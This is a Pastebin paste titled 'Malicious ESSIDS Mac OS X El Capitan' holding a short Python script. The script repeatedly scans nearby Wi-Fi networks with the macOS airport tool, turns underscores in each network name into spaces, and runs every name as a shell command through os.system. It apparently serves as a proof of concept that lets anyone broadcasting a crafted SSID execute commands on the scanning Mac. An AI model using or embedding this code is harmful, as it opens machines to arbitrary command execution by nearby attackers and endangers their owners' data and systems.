Advertisement
jako93

Malicious ESSIDS Mac OS X El Capitan

Dec 5th, 2015
475
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.46 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os,time
  3. try:
  4.     while 1:
  5.         os.system("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport --scan > file")
  6.         os.system("awk '{ print $1 }' file > file1")
  7.         file = open("file1","r")
  8.         file.readline()
  9.         for line in file:
  10.             str=""
  11.             for ch in line:
  12.                 if ch != '_':
  13.                     str+=ch
  14.                 else:
  15.                     str+=' '
  16.             os.system(str)
  17.         file.close()
  18.         os.system("rm file file1")
  19.         time.sleep(4)
  20. except:
  21.     pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement